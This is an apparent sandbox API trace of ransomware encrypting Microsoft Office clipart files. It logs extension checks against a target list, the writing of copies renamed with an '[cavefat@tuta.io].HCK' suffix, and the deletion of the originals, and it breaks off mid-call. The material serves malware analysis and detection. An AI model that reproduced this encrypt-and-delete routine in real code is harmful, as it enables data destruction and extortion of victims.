lstrlenW (lpString=".doc") returned 4 [0169.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".docx") returned 5 [0169.994] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.994] lstrlenW (lpString=".pdf") returned 4 [0169.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".xls") returned 4 [0169.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.994] lstrlenW (lpString=".xlsx") returned 5 [0169.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.994] lstrlenW (lpString=".ppt") returned 4 [0169.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".zip") returned 4 [0169.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.994] lstrlenW (lpString=".rar") returned 4 [0169.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".bz2") returned 4 [0169.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".7z") returned 3 [0169.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".dbf") returned 4 [0169.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".1cd") returned 4 [0169.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.995] lstrlenW (lpString=".jpg") returned 4 [0169.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.995] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.995] lstrlenW (lpString="J0187815.WMF") returned 12 [0169.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.002] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5376) returned 1 [0170.002] CloseHandle (hObject=0x380) returned 1 [0170.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 0x220 [0170.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.012] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.012] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.017] GetLastError () returned 0x0 [0170.017] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1500, lpOverlapped=0x0) returned 1 [0170.018] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1510, lpOverlapped=0x0) returned 1 [0170.019] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.019] SetEndOfFile (hFile=0x364) returned 1 [0170.020] CloseHandle (hObject=0x364) returned 1 [0170.022] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.022] SetEndOfFile (hFile=0x38c) returned 1 [0170.027] CloseHandle (hObject=0x38c) returned 1 [0170.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0170.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".doc") returned 4 [0170.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".docx") returned 5 [0170.033] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.033] lstrlenW (lpString=".pdf") returned 4 [0170.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".xls") returned 4 [0170.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".xlsx") returned 5 [0170.033] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.033] lstrlenW (lpString=".ppt") returned 4 [0170.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".zip") returned 4 [0170.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".rar") returned 4 [0170.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".bz2") returned 4 [0170.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".7z") returned 3 [0170.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".dbf") returned 4 [0170.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".1cd") returned 4 [0170.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".jpg") returned 4 [0170.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".doc") returned 4 [0170.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".docx") returned 5 [0170.033] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.033] lstrlenW (lpString=".pdf") returned 4 [0170.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".xls") returned 4 [0170.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".xlsx") returned 5 [0170.033] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.033] lstrlenW (lpString=".ppt") returned 4 [0170.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.033] lstrlenW (lpString=".zip") returned 4 [0170.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".rar") returned 4 [0170.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".bz2") returned 4 [0170.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString=".7z") returned 3 [0170.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.034] lstrlenW (lpString=".dbf") returned 4 [0170.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.034] lstrlenW (lpString=".1cd") returned 4 [0170.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0170.034] lstrlenW (lpString=".jpg") returned 4 [0170.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.034] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.034] lstrlenW (lpString="J0187835.WMF") returned 12 [0170.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.037] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9344) returned 1 [0170.037] CloseHandle (hObject=0x364) returned 1 [0170.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 0x220 [0170.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.043] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.043] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.048] GetLastError () returned 0x0 [0170.048] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2480, lpOverlapped=0x0) returned 1 [0170.050] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2490, lpOverlapped=0x0) returned 1 [0170.051] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.051] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.051] SetEndOfFile (hFile=0x378) returned 1 [0170.053] CloseHandle (hObject=0x378) returned 1 [0170.055] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.055] SetEndOfFile (hFile=0x360) returned 1 [0170.060] CloseHandle (hObject=0x360) returned 1 [0170.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0170.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.064] lstrlenW (lpString=".doc") returned 4 [0170.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".docx") returned 5 [0170.065] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.065] lstrlenW (lpString=".pdf") returned 4 [0170.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".xls") returned 4 [0170.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.065] lstrlenW (lpString=".xlsx") returned 5 [0170.065] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.065] lstrlenW (lpString=".ppt") returned 4 [0170.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".zip") returned 4 [0170.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.065] lstrlenW (lpString=".rar") returned 4 [0170.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".bz2") returned 4 [0170.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".7z") returned 3 [0170.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".dbf") returned 4 [0170.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".1cd") returned 4 [0170.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".jpg") returned 4 [0170.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".doc") returned 4 [0170.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".docx") returned 5 [0170.065] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.065] lstrlenW (lpString=".pdf") returned 4 [0170.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".xls") returned 4 [0170.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.065] lstrlenW (lpString=".xlsx") returned 5 [0170.065] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.065] lstrlenW (lpString=".ppt") returned 4 [0170.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.065] lstrlenW (lpString=".zip") returned 4 [0170.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.065] lstrlenW (lpString=".rar") returned 4 [0170.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".bz2") returned 4 [0170.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.065] lstrlenW (lpString=".7z") returned 3 [0170.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.066] lstrlenW (lpString=".dbf") returned 4 [0170.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.066] lstrlenW (lpString=".1cd") returned 4 [0170.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0170.066] lstrlenW (lpString=".jpg") returned 4 [0170.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.066] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.066] lstrlenW (lpString="J0187849.WMF") returned 12 [0170.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.067] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7572) returned 1 [0170.067] CloseHandle (hObject=0x364) returned 1 [0170.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 0x220 [0170.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.073] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.073] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.079] GetLastError () returned 0x0 [0170.079] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1d94, lpOverlapped=0x0) returned 1 [0170.082] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0170.083] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.083] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.083] SetEndOfFile (hFile=0x378) returned 1 [0170.085] CloseHandle (hObject=0x378) returned 1 [0170.087] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.087] SetEndOfFile (hFile=0x360) returned 1 [0170.089] CloseHandle (hObject=0x360) returned 1 [0170.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0170.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.096] lstrlenW (lpString=".doc") returned 4 [0170.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.096] lstrlenW (lpString=".docx") returned 5 [0170.096] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.096] lstrlenW (lpString=".pdf") returned 4 [0170.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.096] lstrlenW (lpString=".xls") returned 4 [0170.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.096] lstrlenW (lpString=".xlsx") returned 5 [0170.096] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.096] lstrlenW (lpString=".ppt") returned 4 [0170.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".zip") returned 4 [0170.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.097] lstrlenW (lpString=".rar") returned 4 [0170.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".bz2") returned 4 [0170.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".7z") returned 3 [0170.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".dbf") returned 4 [0170.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".1cd") returned 4 [0170.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".jpg") returned 4 [0170.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0170.097] lstrlenW (lpString=".doc") returned 4 [0170.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".docx") returned 5 [0170.097] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.097] lstrlenW (lpString=".pdf") returned 4 [0170.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.097] lstrlenW (lpString=".xls") returned 4 [0170.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.097] lstrlenW (lpString=".xlsx") returned 5 [0170.097] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.097] lstrlenW (lpString=".ppt") returned 4 [0170.097] lstrcmpiW (lpString1=".ppt", 